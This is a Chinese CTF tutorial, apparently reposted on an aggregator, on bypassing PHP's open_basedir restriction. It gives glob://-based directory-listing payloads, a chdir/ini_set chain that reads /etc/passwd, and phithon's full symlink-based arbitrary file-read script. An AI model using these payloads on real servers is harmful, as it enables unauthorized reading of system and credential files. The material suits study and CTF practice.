Bypass open_basedir

講解

open_basedir是php.ini中的一個配置選項,可用于將用戶訪問文件的活動范圍限制在指定的區域。

假設open_basedir=/var/www/html/web1/:/tmp/,那么通過web1訪問服務器的用戶就無法獲取服務器上除了/var/www/html/web1/和/tmp/這兩個目錄以外的文件。

ctfshow題目:?

error_reporting(0);
highlight_file(__FILE__);eval($_POST[1]);

利用命令執行函數Bypass

open_basedir對命令執行函數沒有限制,我們可以使用system()函數讀到目標文件

利用glob://偽協議Bypass?

只是用glob://偽協議是無法直接繞過的,它需要結合其他函數組合利用,主要有以下兩種利用方式,局限性在于它們都只能列出根目錄下和open_basedir指定的目錄下的文件,不能列出除前面的目錄以外的目錄中的文件,且不能讀取文件內容。?

方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口。
DirectoryIterator與glob://結合將無視open_basedir,列舉出根目錄下的文件?

<?php
一句話payload
$c = "glob:///*"
$a = new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>

方式2——opendir()+readdir()+glob://
opendir()函數為打開目錄句柄,readdir()函數為從目錄句柄中讀取條目?

一句話
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);

?利用chdir()與ini_set()組合Bypass

payload:其中chdir('..')盡量多,確保到達根目錄

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

P神腳本繞過?

傳參file為

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name);chdir($name);$j++;
}
for ($i = 0; $i <= $j; $i++) { chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from = rtrim($from, '\/') . '/';$from = str_replace('\\', '/', $from);$to   = str_replace('\\', '/', $to);$from   = explode('/', $from);$to     = explode('/', $to);$relPath  = $to;foreach($from as $depth => $dir) {// find first non-matching dirif($dir === $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining = count($from) - $depth;if($remaining > 1) {// add traversals up to first matching dir$padLength = (count($relPath) + $remaining - 1) * -1;$relPath = array_pad($relPath, $padLength, '..');break;} else {$relPath[0] = './' . $relPath[0];}}}return implode('/', $relPath);
}function delfile($deldir){if (@is_file($deldir)) {@chmod($deldir,0777);return @unlink($deldir);}else if(@is_dir($deldir)){if(($mydir = @opendir($deldir)) == NULL) return false;while(false !== ($file = @readdir($mydir))){$name = File_Str($deldir.'/'.$file);if(($file!='.') && ($file!='..')){delfile($name);}} @closedir($mydir);@chmod($deldir,0777);return @rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace('//','/',str_replace('\\','/',$string));
}function getRandStr($length = 6) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr = '';for ($i = 0; $i < $length; $i++) {$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/212494.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/212494.shtml
英文地址,請注明出處:http://en.pswp.cn/news/212494.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java——面試:String 和 StringBuffer 的區別?

相同點&#xff1a; String 和 StringBuffer&#xff0c;它們可以儲存和操作字符串&#xff0c; 即包含多個字符的字符數據。 String 和 StringBuffer 的區別有以下幾點&#xff1a; 1.String 類提供了數值不可改變的字符串。而 StringBuffer 類提供的字符串進行修改。 當你知…

洛谷 P8674 [藍橋杯 2018 國 B] 調手表

文章目錄 [藍橋杯 2018 國 B] 調手表題目描述輸入格式輸出格式樣例 #1樣例輸入 #1樣例輸出 #1 提示 題意解析CODE分析一下復雜度 [藍橋杯 2018 國 B] 調手表 題目描述 小明買了塊高端大氣上檔次的電子手表&#xff0c;他正準備調時間呢。 在 M78 星云&#xff0c;時間的計量…

JVM虛擬機:命令行查看JVM垃圾回收器的執行信息

在eclipse中打開命令行窗口 window->show view->Terminal 這樣就打開了Terminal窗口&#xff0c;效果如下所示&#xff1a; java -XX:PrintCommandLineFlags -version 這個命令可以查看一些配置信息&#xff0c;其中最重要的配置信息就是&#xff0c;當前使用的G1回收器…

什么是漏洞掃描

漏洞掃描是指基于漏洞數據庫&#xff0c;通過掃描等手段對指定的遠程或者本地計算機系統的安全脆弱性進行檢測&#xff0c;發現可利用漏洞的一種安全檢測的 行為&#xff0c;也是一類重要的網絡安全技術。它和防火墻、入侵檢測系統互相配合&#xff0c;能夠有效提高網絡的安全性…

鍵盤打字盲打練習系列之成為大師——5

一.歡迎來到我的酒館 盲打&#xff0c;成為大師&#xff01; 目錄 一.歡迎來到我的酒館二.關于盲打你需要知道三.值得收藏的練習打字網站 二.關于盲打你需要知道 盲打系列教程&#xff0c;終于寫到終章了。。。一開始在看網上視頻&#xff0c;看到up主熟練的打字技巧&#xff…

LabVIEW與Tektronix示波器實現電源測試自動化

LabVIEW與Tektronix示波器實現電源測試自動化 在現代電子測試與測量領域&#xff0c;自動化測試系統的構建是提高效率和精確度的關鍵。本案例介紹了如何利用LabVIEW軟件結合Tektronix MDO MSO DPO2000/3000/4000系列示波器&#xff0c;開發一個自動化測試項目。該項目旨在自動…

javascript中Reflect是什么?三分鐘初識

目錄 1. Reflect是什么&#xff1f;2. 為什么會出現Reflect&#xff1f;3. 需要怎么去使用Reflect&#xff1f;4. 最終的結果解決什么&#xff1f;5. 使用的注意點6. 常用的技巧 Reflect是Javascript中的一個內置對象&#xff0c;它提供了一組用于操作對象的方法&#xff0c;可…

Spring - BeanFactory和FactoryBean的理解

BeanFactory是什么&#xff1f; BeanFactory是Spring 容器的根接口&#xff0c;它是IOC的基本容器&#xff0c;負責管理和加載Bean&#xff0c;它為具體的IOC容器提供了最基本的規范&#xff0c;比如DefaultListableBeanFactory和ConfigurableBeanFactory&#xff0c;BeanFact…

《C++新經典設計模式》之第17章 中介者模式

《C新經典設計模式》之第17章 中介者模式 中介者模式.cpp 中介者模式.cpp #include <iostream> #include <map> #include <memory> using namespace std;// 中介者封裝一系列的對象交互 // 4種角色 // Mediator&#xff08;抽象中介者類&#xff09;&#x…

MYSQL練題筆記-高級查詢和連接-指定日期的產品價格

這依舊是中等題&#xff0c;想了好久&#xff0c;終于理解了很開心&#xff01; 一、題目相關內容 1&#xff09;相關的表和題目 2&#xff09;幫助理解題目的示例&#xff0c;提供返回結果的格式 二、自己初步的理解 題目是找出2019-08-16 時全部產品的價格&#xff0c;所以…

數字化時代的到來,IT運維產業正在發生深刻的變革

IT運維產業是隨著信息技術的發展而產生的&#xff0c;它涵蓋了從硬件到軟件、從應用到數據、從終端到云端等各個方面的維護和管理。隨著數字化時代的到來&#xff0c;IT運維產業正在發生深刻的變革。其中&#xff0c;大數據技術的廣泛應用和數據資源的日益豐富&#xff0c;正在…

使用最小花費爬樓梯

1.狀態表示 2.狀態轉移方程 3.初始化 保證填表時&#xff0c; 不越界 4.填表順序 從左往右 5.返回值 解法2&#xff1a; 1.狀態表示 2.狀態轉移方程 3.初始化 4.填表 從右往左 5.返回值 min( dp[0] , dp[1] ) ----------------------------------------------------…

java+springboot+ssm學生社團管理系統76c2e

本系統包括前臺和后臺兩個部分。前臺主要是展示社團列表、社團風采、社團活動、新聞列表等&#xff0c;前臺登錄后進入個人中心&#xff0c;在個人中心能申請加入社團、查看參加的社團活動等&#xff1b;后臺為管理員與社團負責人使用&#xff0c;應用于對社團的管理及內容發布…

Vue3源碼梳理:源碼目錄結構及源碼閱讀方法

VUE3 源碼目錄結構 1 ) 下載源碼三種方式 方式1&#xff0c;Download ZIP&#xff0c;不推薦方式2&#xff0c;通過https,或ssh或github cli來克隆項目 $ git clone https://github.com/vuejs/core.git$ git clone gitgithub.com:vuejs/core.git 方式3&#xff0c;點擊Fork, …

常見統計學習方法特點總結

1. 概述 方法適用問題模型特點模型類型學習策略損失函數學習算法1感知機二分類分離超平面判別模型極小化誤分點到超平面距離誤分點到超平面距離SGD2KNN多分類&#xff0c;回歸特征空間&#xff0c;樣本點判別模型---3樸素貝葉斯多分類特征與類別的聯合概率分布&#xff0c;條件…

【CMU 15-445】Proj2 Hash Index

EXTENDIBLE HASH INDEX 通關記錄Task1 Read/Write Page Guards移動構造函數Drop方法移動賦值運算符析構函數UpgradeRead函數FetchPageBasic、FetchPageRead、FetchPageWrite、NewPageGuarded Task2 Extendible Hash Table PagesHeaderPageDirectoryPageBucketPage Task3 Extend…

飛天使-linux操作的一些技巧與知識點5

文章目錄 roles批量替換文件 role 的依賴關系role 的實際案例 roles tasks 和 handlers &#xff0c;那怎樣組織 playbook 才是最好的方式呢&#xff1f;簡 單的回答就是&#xff1a;使用 Roles Roles 基于一個已知的文件結構&#xff0c;去自動的加載 vars&#xff0c;tasks 以…

Python字典去重竟然比集合去重快速40多倍

這里寫目錄標題 對比代碼結果圖代碼解析 對比代碼 from glob import glob from tqdm import tqdm import time path_listglob("E:/sky_150b/任務組_20231207_2023/*.jsonl") # for two in tqdm(path_list): onepath_list[0]with open(one,"r",encoding&q…

【C++】POCO學習總結(十):Poco::Util::Application(應用程序框架)

【C】郭老二博文之&#xff1a;C目錄 1、Poco::Util::Application 應用框架 1.1 應用程序基本功能 Poco::Util::Application是POCO實現的的應用程序框架&#xff0c;支持功能如下&#xff1a; 命令行參數處理配置文件初始化和關機日志 1.2 命令行程序和守護進程 POCO支持…

Java架構師系統架構實現高內聚低耦合

目錄 1 導語2 邊界內聚耦合概述3 聚焦內聚4 關注耦合5 如何實現高內聚低耦合6 內聚耦合規劃不當的效果7 總結想學習架構師構建流程請跳轉:Java架構師系統架構設計 1 導語 架構設計的核心維度,從系統的擴展性、高性能、高可用、高安全性和伸縮性五個維度進行了探討,并介紹了…